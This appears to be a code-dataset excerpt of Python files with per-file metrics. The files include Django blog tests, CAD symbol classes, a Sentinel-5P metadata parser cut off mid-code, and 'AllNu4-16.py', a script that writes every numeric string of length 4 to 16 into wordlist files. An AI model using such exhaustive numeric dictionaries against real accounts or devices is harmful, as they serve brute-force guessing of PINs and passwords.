| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
849ad5bd97fe7248bb00ba6e1e8f9e44486257a8
| 129
|
py
|
Python
|
utillitycrap/utill.py
|
gammernut/utillitycrap
|
449c755bb20e42dc3f4c65358fafb056b2e47e90
|
[
"MIT"
] | null | null | null |
utillitycrap/utill.py
|
gammernut/utillitycrap
|
449c755bb20e42dc3f4c65358fafb056b2e47e90
|
[
"MIT"
] | null | null | null |
utillitycrap/utill.py
|
gammernut/utillitycrap
|
449c755bb20e42dc3f4c65358fafb056b2e47e90
|
[
"MIT"
] | null | null | null |
def title_card(code_name):
print('\n~~~~~~~~~~~~~~~~~~~~~~~')
print(code_name)
print('~~~~~~~~~~~~~~~~~~~~~~~ \n')
| 18.428571
| 39
| 0.372093
| 12
| 129
| 3.75
| 0.583333
| 0.355556
| 0.577778
| 0.622222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.155039
| 129
| 6
| 40
| 21.5
| 0.412844
| 0
| 0
| 0
| 0
| 0
| 0.401575
| 0.377953
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.25
| 0.75
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
84c37735f3ff35b5ed17891236135836a706a4e4
| 1,886
|
py
|
Python
|
symlib/generic.py
|
kozbot/kecb
|
a60a2bb2754098cac127e258e1066cc838264399
|
[
"MIT"
] | 4
|
2017-05-27T19:08:10.000Z
|
2021-07-12T06:29:14.000Z
|
symlib/generic.py
|
kozbot/kecb
|
a60a2bb2754098cac127e258e1066cc838264399
|
[
"MIT"
] | 23
|
2017-05-26T01:03:06.000Z
|
2018-05-22T03:35:51.000Z
|
symlib/generic.py
|
kozbot/kecb
|
a60a2bb2754098cac127e258e1066cc838264399
|
[
"MIT"
] | 2
|
2019-08-23T14:40:40.000Z
|
2020-07-06T08:09:08.000Z
|
import entity
from symlib.terminal import ETERM
from symlib.contact import NO, NC
class GEN_DEV(entity.CodedSymbol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
def generate(self):
return [
ETERM(),
entity.Rect(points=[
entity.Point(-10, 20),
entity.Point(110, 20),
entity.Point(110, -20),
entity.Point(-10, -20),
], linetype='PHANTOM'),
ETERM().translate(xoff=80, yoff=0)
]
class GEN_DEV_NO(entity.CodedSymbol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
def generate(self):
return [
ETERM(),
entity.Line(start=entity.Point(20, 0), end=entity.Point(40, 0)),
NO().translate(xoff=40, yoff=0),
entity.Line(start=entity.Point(60, 0), end=entity.Point(80, 0)),
entity.Rect(points=[
entity.Point(-10, 20),
entity.Point(110, 20),
entity.Point(110, -20),
entity.Point(-10, -20),
], linetype='PHANTOM'),
ETERM().translate(xoff=80, yoff=0)
]
class GEN_DEV_NC(entity.CodedSymbol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
def generate(self):
return [
ETERM(),
entity.Line(start=entity.Point(20, 0), end=entity.Point(40, 0)),
NC().translate(xoff=40, yoff=0),
entity.Line(start=entity.Point(60, 0), end=entity.Point(80, 0)),
entity.Rect(points=[
entity.Point(-10, 20),
entity.Point(110, 20),
entity.Point(110, -20),
entity.Point(-10, -20),
], linetype='PHANTOM'),
ETERM().translate(xoff=80, yoff=0)
]
| 31.433333
| 76
| 0.511665
| 213
| 1,886
| 4.394366
| 0.183099
| 0.235043
| 0.125
| 0.096154
| 0.907051
| 0.907051
| 0.907051
| 0.907051
| 0.907051
| 0.907051
| 0
| 0.073693
| 0.330859
| 1,886
| 60
| 77
| 31.433333
| 0.667987
| 0
| 0
| 0.784314
| 0
| 0
| 0.011129
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.117647
| false
| 0
| 0.058824
| 0.058824
| 0.294118
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ca040d05094a4e8f89b386d28eacc610c18d821b
| 180
|
py
|
Python
|
mbs/tests/__init__.py
|
hhuuggoo/multiuserblazeserver
|
0926e5f547c46361e9dfb5e8236461a1ce86479b
|
[
"BSD-3-Clause"
] | 7
|
2015-01-05T17:18:08.000Z
|
2019-08-26T02:54:07.000Z
|
mbs/tests/__init__.py
|
hhuuggoo/multiuserblazeserver
|
0926e5f547c46361e9dfb5e8236461a1ce86479b
|
[
"BSD-3-Clause"
] | null | null | null |
mbs/tests/__init__.py
|
hhuuggoo/multiuserblazeserver
|
0926e5f547c46361e9dfb5e8236461a1ce86479b
|
[
"BSD-3-Clause"
] | 5
|
2015-03-30T12:15:47.000Z
|
2021-02-23T07:38:29.000Z
|
from os.path import dirname, join
def config_file(name):
return join(dirname(__file__), 'config', name)
def data_file(name):
return join(dirname(__file__), 'data', name)
| 22.5
| 50
| 0.716667
| 26
| 180
| 4.576923
| 0.461538
| 0.134454
| 0.235294
| 0.302521
| 0.487395
| 0.487395
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15
| 180
| 7
| 51
| 25.714286
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0.055556
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
ca22394f703bf59ff3b1c7267fbbbaee3d2f9b97
| 11,617
|
py
|
Python
|
blog/tests.py
|
ThomasDang93/programming-blog
|
5881273e94953eba168814f24331c634f9f90e4a
|
[
"MIT"
] | 1
|
2018-08-08T01:41:25.000Z
|
2018-08-08T01:41:25.000Z
|
blog/tests.py
|
ThomasDang93/programming-blog
|
5881273e94953eba168814f24331c634f9f90e4a
|
[
"MIT"
] | 3
|
2020-06-05T18:44:05.000Z
|
2021-06-10T20:43:30.000Z
|
blog/tests.py
|
ThomasDang93/programming-blog
|
5881273e94953eba168814f24331c634f9f90e4a
|
[
"MIT"
] | null | null | null |
import datetime
from django.utils import timezone
from django.test import TestCase
from django.urls import reverse
from django.contrib.auth.models import User
from django.template.defaultfilters import slugify
from django.db import models
from .models import Post, Category
def create_post_with_category(post_author, post_title, days, post_slug, category_name, category_slug):
if Category.objects.filter(slug=category_name).exists():
# if category already exists, just retrieve it
category = Category.objects.get(slug=category_name)
time = timezone.now() + datetime.timedelta(days=days)
return Post.objects.create(post_author=post_author, post_title=post_title,
pub_date=time, slug=post_slug, category=category)
else:
# if category does not exist, create a new one
category = Category.objects.create(category_name=category_name, slug=category_slug)
time = timezone.now() + datetime.timedelta(days=days)
return Post.objects.create(post_author=post_author, post_title=post_title,
pub_date=time, slug=post_slug, category=category)
def create_post(post_author, post_title, days, slug):
"""
Create a post with the given `post_text` and published the
given number of `days` offset to now (negative for post published
in the past, positive for post that have yet to be published).
"""
time = timezone.now() + datetime.timedelta(days=days)
return Post.objects.create(post_author=post_author, post_title=post_title, pub_date=time, slug=slug)
class PostIndexViewTests(TestCase):
def test_future_post(self):
"""
Post with a pub_date in the future aren't displayed on
the index page.
"""
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
title = "Future post."
slug = models.SlugField(unique=True, max_length=200)
slug = slugify(title)
create_post(post_author=admin, post_title=title, days=30, slug=slug)
response = self.client.get(reverse('blog:index'))
self.assertContains(response, "No posts are available")
self.assertQuerysetEqual(response.context['latest_post_list'], [])
def test_no_post(self):
"""
If no post exist, an appropriate message is displayed.
"""
response = self.client.get(reverse('blog:index'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "No posts are available")
self.assertQuerysetEqual(response.context['latest_post_list'], [])
def test_past_post(self):
"""
Posts with a pub_date in the past are displayed on the
index page.
"""
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
title = "Past post."
slug = models.SlugField(unique=True, max_length=200)
slug = slugify(title)
create_post(post_author=admin, post_title=title, days=-30, slug=slug)
response = self.client.get(reverse('blog:index'))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post.>']
)
def test_future_and_past_post(self):
"""
Even if both past and future posts exist, only past posts
are displayed.
"""
admin1 = User.objects.create_superuser('pastuser', 'myemail@test.com', 'password')
admin2 = User.objects.create_superuser('futureuser', 'myemail@test.com', 'password')
title1 = "Past post."
title2 = "Future post."
slug1 = models.SlugField(unique=True, max_length=200)
slug2 = models.SlugField(unique=True, max_length=200)
slug1 = slugify(title1)
slug2 = slugify(title2)
create_post(post_author=admin1, post_title=title1, days=-30, slug=slug1)
create_post(post_author=admin2, post_title=title2, days=30, slug=slug2)
response = self.client.get(reverse('blog:index'))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post.>']
)
def test_two_past_posts(self):
# The post index page may display multiple post.
admin1 = User.objects.create_superuser('pastuser1', 'myemail@test.com', 'password')
admin2 = User.objects.create_superuser('pastuser2', 'myemail@test.com', 'password')
title1 = "Past post 1."
title2 = "Past post 2."
slug1 = models.SlugField(unique=True, max_length=200)
slug2 = models.SlugField(unique=True, max_length=200)
slug1 = slugify(title1)
slug2 = slugify(title2)
create_post(post_author=admin1, post_title=title1, days=-30, slug=slug1)
create_post(post_author=admin2, post_title=title2, days=-5, slug=slug2)
response = self.client.get(reverse('blog:index'))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post 2.>', '<Post: Past post 1.>']
)
class PostDetailViewTests(TestCase):
def test_future_post(self):
"""
The detail view of a post with a pub_date in the future
returns a 404 not found.
"""
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
title = 'Future post.'
slug = models.SlugField(unique=True, max_length=200)
slug = slugify(title)
future_post = create_post(post_author=admin, post_title=title, days=5, slug=slug)
url = reverse('blog:detail', args=(future_post.slug,))
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_past_post(self):
"""
The detail view of a post with a pub_date in the past
displays the post's text.
"""
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
title = 'Past post.'
slug = models.SlugField(unique=True, max_length=200)
slug = slugify(title)
past_post = create_post(post_author=admin, post_title=title, days=-5, slug=slug)
url = reverse('blog:detail', args=(past_post.slug,))
response = self.client.get(url)
self.assertContains(response, past_post.post_title)
class CateogryIndexViewTests(TestCase):
def test_future_post_category(self):
# Post with a pub_date in the future aren't displayed on
# the category index page.
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
post_title = "Future post."
post_slug = models.SlugField(unique=True, max_length=200)
post_slug = slugify(post_title)
category_name = "java"
category_slug = models.SlugField(unique=True, max_length=100)
category_slug = slugify(category_name)
create_post_with_category(post_author=admin, post_title=post_title, days=30,
post_slug=post_slug, category_name=category_name, category_slug=category_slug)
response = self.client.get(reverse('blog:category', kwargs={"slug": category_slug}))
self.assertContains(response, "No posts are available")
self.assertQuerysetEqual(response.context['latest_post_list'], [])
def test_no_post_category(self):
# If no post exist in category index page, an appropriate message is displayed.
category_name = "java"
category_slug = models.SlugField(unique=True, max_length=100)
category_slug = slugify(category_name)
response = self.client.get(reverse('blog:category', kwargs={"slug": category_slug}))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "No posts are available")
self.assertQuerysetEqual(response.context['latest_post_list'], [])
def test_past_post_category(self):
# Posts with a pub_date in the past are displayed on the
# category index page.
admin = User.objects.create_superuser('myuser', 'myemail@test.com', 'password')
post_title = "Past post."
post_slug = models.SlugField(unique=True, max_length=200)
post_slug = slugify(post_title)
category_name = "java"
category_slug = models.SlugField(unique=True, max_length=100)
category_slug = slugify(category_name)
create_post_with_category(post_author=admin, post_title=post_title, days=-30,
post_slug=post_slug, category_name=category_name, category_slug=category_slug)
response = self.client.get(reverse('blog:category', kwargs={"slug": category_slug}))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post.>']
)
def test_future_past_post_category(self):
# Even if both past and future posts exist, only past posts
# are displayed in category index.
admin = User.objects.create_superuser('pastuser', 'myemail@test.com', 'password')
post_title = "Past post."
post_slug = models.SlugField(unique=True, max_length=200)
post_slug = slugify(post_title)
admin2 = User.objects.create_superuser('futureuser', 'myemail@test.com', 'password')
post_title2 = "Future post."
post_slug2 = models.SlugField(unique=True, max_length=100)
post_slug2 = slugify(post_title2)
category_name = "java"
category_slug = models.SlugField(unique=True, max_length=100)
category_slug = slugify(category_name)
create_post_with_category(post_author=admin, post_title=post_title, days=-30,
post_slug=post_slug, category_name=category_name, category_slug=category_slug)
create_post_with_category(post_author=admin2, post_title=post_title2, days=30,
post_slug=post_slug2, category_name=category_name, category_slug=category_slug)
response = self.client.get(reverse('blog:category', kwargs={"slug": category_slug}))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post.>']
)
def test_two_past_post_category(self):
# The category post index page may display multiple past posts.
admin = User.objects.create_superuser('pastuser1', 'myemail@test.com', 'password')
post_title = "Past post 1."
post_slug = models.SlugField(unique=True, max_length=200)
post_slug = slugify(post_title)
admin2 = User.objects.create_superuser('pastuser2', 'myemail@test.com', 'password')
post_title2 = "Past post 2."
post_slug2 = models.SlugField(unique=True, max_length=100)
post_slug2 = slugify(post_title2)
category_name = "java"
category_slug = models.SlugField(unique=True, max_length=100)
category_slug = slugify(category_name)
create_post_with_category(post_author=admin, post_title=post_title, days=-30,
post_slug=post_slug, category_name=category_name, category_slug=category_slug)
create_post_with_category(post_author=admin2, post_title=post_title2, days=-5,
post_slug=post_slug2, category_name=category_name, category_slug=category_slug)
response = self.client.get(reverse('blog:category', kwargs={"slug": category_slug}))
self.assertQuerysetEqual(
response.context['latest_post_list'],
['<Post: Past post 2.>', '<Post: Past post 1.>']
)
| 47.416327
| 113
| 0.663252
| 1,430
| 11,617
| 5.191608
| 0.100699
| 0.04243
| 0.053745
| 0.063982
| 0.863685
| 0.830145
| 0.808594
| 0.804283
| 0.786503
| 0.759025
| 0
| 0.017095
| 0.229577
| 11,617
| 244
| 114
| 47.610656
| 0.812402
| 0.098046
| 0
| 0.657303
| 0
| 0
| 0.114879
| 0
| 0
| 0
| 0
| 0
| 0.101124
| 1
| 0.078652
| false
| 0.078652
| 0.044944
| 0
| 0.157303
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
ca8d671409661aeaf1c3c63b85e5c0076e8c4101
| 10,184
|
py
|
Python
|
AllNu4-16.py
|
edouard-lebas/DictionaryGenerator
|
d27b3878e4929819e23b6f2dd0e08b3761bbde8f
|
[
"MIT"
] | null | null | null |
AllNu4-16.py
|
edouard-lebas/DictionaryGenerator
|
d27b3878e4929819e23b6f2dd0e08b3761bbde8f
|
[
"MIT"
] | 1
|
2017-12-26T14:51:07.000Z
|
2017-12-26T14:51:07.000Z
|
AllNu4-16.py
|
edouard-lebas/DictionaryGenerator
|
d27b3878e4929819e23b6f2dd0e08b3761bbde8f
|
[
"MIT"
] | null | null | null |
import time
#All lower case letters
num = ["0","1","2","3","4","5","6","7","8","9"]
lenght = raw_input("Lenght : ")
start_time = time.time()
if lenght == "4":
file = open("DIC_num_4.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
word = a+b+c+d
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "5":
file = open("DIC_num_5.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
word = a+b+c+d+e
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "6":
file = open("DIC_num_6.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
word = a+b+c+d+e+f
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "7":
file = open("DIC_num_7.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
word = a+b+c+d+e+f+g
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "8":
file = open("DIC_num_8.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
word = a+b+c+d+e+f+g+h
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "9":
file = open("DIC_num_9.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
word = a+b+c+d+e+f+g+h+i
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "10":
file = open("DIC_num_10.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
word = a+b+c+d+e+f+g+h+i+j
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "11":
file = open("DIC_num_11.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
word = a+b+c+d+e+f+g+h+i+j+k
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "12":
file = open("DIC_num_12.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
for l in num:
word = a+b+c+d+e+f+g+h+i+j+k+l
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "13":
file = open("DIC_num_13.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
for l in num:
for m in num:
word = a+b+c+d+e+f+g+h+i+j+k+l+m
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "14":
file = open("DIC_num_14.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
for l in num:
for m in num:
for n in num:
word = a+b+c+d+e+f+g+h+i+j+k+l+m+n
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "15":
file = open("DIC_num_15.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
for l in num:
for m in num:
for n in num:
for o in num:
word = a+b+c+d+e+f+g+h+i+j+k+l+m+n+o
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
elif lenght == "16":
file = open("DIC_num_16.txt.txt","w")
try:
for a in num:
print a
for b in num:
for c in num:
for d in num:
for e in num:
for f in num:
for g in num:
for h in num:
for i in num:
for j in num:
for k in num:
for l in num:
for m in num:
for n in num:
for o in num:
for p in num:
word = a+b+c+d+e+f+g+h+i+j+k+l+m+n+o+p
file.write(word+"\n")
print "DONE"
file.close()
except KeyboardInterrupt:
print "KeyboardInterrupt"
else:
print "Erreur"
totalTime = time.time() - start_time
print totalTime
| 37.167883
| 110
| 0.298311
| 1,024
| 10,184
| 2.938477
| 0.0625
| 0.216019
| 0.276504
| 0.060485
| 0.876371
| 0.876371
| 0.876371
| 0.873712
| 0.870721
| 0.867398
| 0
| 0.013369
| 0.632757
| 10,184
| 274
| 111
| 37.167883
| 0.791176
| 0.00216
| 0
| 0.820896
| 0
| 0
| 0.052844
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.003731
| null | null | 0.152985
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
ca90d6cf9058954dbcbdc462d678e3bd96b2e8c9
| 54,297
|
py
|
Python
|
src/stactools/sentinel5p/product_metadata.py
|
stactools-packages/sentinel5p
|
fcf0e939cacec94d53608421d14c1a152c7fedb5
|
[
"Apache-2.0"
] | null | null | null |
src/stactools/sentinel5p/product_metadata.py
|
stactools-packages/sentinel5p
|
fcf0e939cacec94d53608421d14c1a152c7fedb5
|
[
"Apache-2.0"
] | null | null | null |
src/stactools/sentinel5p/product_metadata.py
|
stactools-packages/sentinel5p
|
fcf0e939cacec94d53608421d14c1a152c7fedb5
|
[
"Apache-2.0"
] | null | null | null |
import json # type: ignore
from datetime import datetime
from typing import Any, Dict, Optional
import netCDF4 as nc # type: ignore
from pystac.utils import str_to_datetime
from shapely.geometry import Polygon, mapping # type: ignore
class ProductMetadataError(Exception):
pass
class ProductMetadata:
def __init__(self, file_path) -> None:
self.file_path = file_path
if file_path.endswith(".nc"):
self._root = nc.Dataset(file_path)
elif file_path.endswith(".json"):
self._root = json.load(open(file_path))
else:
raise ProductMetadataError("Source file format is not supported.")
@property
def scene_id(self) -> str:
"""Returns the string to be used for a STAC Item id.
"""
product_id = self.product_id
if not product_id.startswith("S5P"):
raise ValueError("Unexpected value found at "
f"{product_id}: "
"this was expected to follow the sentinel 5P "
"naming convention, starting with S5P")
scene_id = self.product_id
return scene_id
@property
def product_id(self) -> str:
result = self.file_path.split("/")[-1].split(".")[0]
if result is None:
raise ValueError(
"Cannot determine product ID using product metadata "
f"at {self.file_path}")
else:
return result
@property
def get_geometry(self):
if "O3_TCL" in self.file_path:
if self.file_path.endswith(".nc"):
latitude_ccd = self._root['/PRODUCT/latitude_ccd'][:]
longitude_ccd = self._root['/PRODUCT/longitude_ccd'][:]
else:
latitude_ccd = self._root['PRODUCT']['latitude_ccd'][:]
longitude_ccd = self._root['PRODUCT']['longitude_ccd'][:]
footprint_polygon = Polygon(
list([[coord, latitude_ccd[0]] for coord in longitude_ccd] +
[[longitude_ccd[-1], coord] for coord in latitude_ccd] +
[[coord, latitude_ccd[-1]]
for coord in longitude_ccd[::-1]] +
[[longitude_ccd[0], coord]
for coord in latitude_ccd[::-1]]))
else:
if self.file_path.endswith(".nc"):
footprint_text = self._root[
'/METADATA/EOP_METADATA/'
'om:featureOfInterest/eop:multiExtentOf/'
'gml:surfaceMembers/gml:exterior'].getncattr('gml:posList')
else:
footprint_text = self._root['METADATA']['EOP_METADATA'][
'om:featureOfInterest']['eop:multiExtentOf'][
'gml:surfaceMembers']['gml:exterior']['gml:posList']
if footprint_text is None:
ProductMetadataError(
f"Cannot parse footprint from product metadata at {self.file_path}"
)
footprint_value = [
float(coord)
for coord in footprint_text.replace(" ", ",").split(",")
]
footprint_points = [
point[::-1]
for point in list(zip(*[iter(footprint_value)] * 2))
]
footprint_polygon = Polygon(footprint_points)
geometry = mapping(footprint_polygon)
self.footprint_polygon = footprint_polygon
return geometry
@property
def get_bbox(self) -> list:
bbox = list(self.footprint_polygon.bounds)
return bbox
@property
def get_datetime(self) -> datetime:
if self.file_path.endswith(".nc"):
start_time = self._root.time_coverage_start
end_time = self._root.time_coverage_end
else:
start_time = self._root['time_coverage_start']
end_time = self._root['time_coverage_end']
format_1 = "%Y-%m-%dT%H:%M:%SZ"
format_2 = "%Y-%m-%dT%H:%M:%S"
if len(start_time) == 20:
datetime_format = format_1
elif len(start_time) == 19:
datetime_format = format_2
else:
raise ValueError("Source datetime format is not supported.")
central_time = (datetime.strptime(start_time, datetime_format) +
(datetime.strptime(end_time, datetime_format) -
datetime.strptime(start_time, datetime_format)) / 2)
if central_time is None:
raise ValueError(
"Cannot determine product start time using product metadata "
f"at {self.file_path}")
else:
return str_to_datetime(str(central_time))
@property
def platform(self) -> Optional[str]:
if "O3_TCL" in self.file_path:
if self.file_path.endswith(".nc"):
platform_name = str(
self._root['METADATA/GRANULE_DESCRIPTION'].MissionName)
else:
platform_name = str(self._root['METADATA']
['GRANULE_DESCRIPTION']['MissionName'])
else:
if self.file_path.endswith(".nc"):
platform_name = str(self._root[
'METADATA/ISO_METADATA/gmi:acquisitionInformation/gmi:platform']
.getncattr("gmi:description"))
else:
platform_name = str(self._root['METADATA']['ISO_METADATA']
['gmi:acquisitionInformation']
['gmi:platform']['gmi:description'])
return platform_name
@property
def metadata_dict(self) -> Dict[str, Any]:
def _get_start_datetime(product_path, product_root):
if "O3_TCL" in product_path:
stratosphere_start_datetime = product_root.time_coverage_start
troposphere_start_datetime = product_root.time_coverage_troposphere_start
start_datetime = [
stratosphere_start_datetime, troposphere_start_datetime
]
else:
start_datetime = [product_root.time_coverage_start]
return start_datetime
def _observed_after_res_upgraded(observed_time):
format_1 = "%Y-%m-%dT%H:%M:%SZ"
format_2 = "%Y-%m-%dT%H:%M:%S"
if len(observed_time) == 20:
datetime_format = format_1
elif len(observed_time) == 19:
datetime_format = format_2
else:
raise ValueError("Source datetime format is not supported.")
observed_time = datetime.strptime(observed_time, datetime_format)
res_upgrade_time = datetime(year=2019,
month=8,
day=6,
hour=13,
minute=30)
return observed_time > res_upgrade_time
def _correct_resolution(resolution):
return resolution.replace("7x", "5.5x")
def _get_resolution(product_path, product_root,
observed_after_res_upgraded):
excludes = ["O3_TCL", "_BD3_", "_BD6_", "_BD7_"]
if any([product in product_path for product in excludes]):
if observed_after_res_upgraded:
spatial_resolution = "5.5x3.5km2"
else:
spatial_resolution = "7x3.5km2"
else:
if observed_after_res_upgraded:
spatial_resolution = _correct_resolution(
product_root.spatial_resolution)
else:
spatial_resolution = product_root.spatial_resolution
return spatial_resolution
def _get_start_datetime_from_json(product_path, product_root):
if "O3_TCL" in product_path:
stratosphere_start_datetime = product_root[
'time_coverage_start'] + "Z"
troposphere_start_datetime = product_root[
'time_coverage_troposphere_start'] + "Z"
start_datetime = [
stratosphere_start_datetime, troposphere_start_datetime
]
else:
start_datetime = [product_root['time_coverage_start']]
return start_datetime
def _get_resolution_from_json(product_path, product_root,
observed_after_res_upgraded):
excludes = ["O3_TCL", "_BD3_", "_BD6_", "_BD7_"]
if any([product in product_path for product in excludes]):
if observed_after_res_upgraded:
spatial_resolution = "5.5x3.5km2"
else:
spatial_resolution = "7x3.5km2"
else:
if observed_after_res_upgraded:
spatial_resolution = _correct_resolution(
product_root['spatial_resolution'])
else:
spatial_resolution = product_root['spatial_resolution']
return spatial_resolution
if self.file_path.endswith(".nc"):
start_datetime = _get_start_datetime(self.file_path, self._root)
observed_after_res_upgraded = _observed_after_res_upgraded(
start_datetime[0])
spatial_resolution = _get_resolution(self.file_path, self._root,
observed_after_res_upgraded)
if "_AER_AI_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"aer_ai:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"aer_ai:input_band":
str(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.type')),
"aer_ai:irradiance_accompanied":
str(self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.irrType')),
}
elif "_AER_LH_" in self.file_path:
result = {
"start_datetime":
str(start_datetime[0]),
"end_datetime":
str(self._root.time_coverage_end),
"instruments": [str(self._root.sensor)],
"s5p:processing_mode":
str(self._root[
'METADATA/EOP_METADATA/eop:metaDataProperty/eop:processing']
.getncattr('eop:processingMode')),
"s5p:product_type":
str(self._root['METADATA/GRANULE_DESCRIPTION'].getncattr(
'ProductShortName')),
"s5p:shape": [
int(self._root['PRODUCT'].dimensions['scanline'].size),
int(self._root['PRODUCT'].dimensions['ground_pixel'].
size)
],
"s5p:spatial_resolution":
str(spatial_resolution),
"aer_lh:geolocation_grid_from_band":
int(self._root.geolocation_grid_from_band),
"aer_lh:input_band": [
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.1.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.2.type'),
self._root['METADATA/ALGORITHM_SETTINGS'].getncattr(
'input.3.type'),
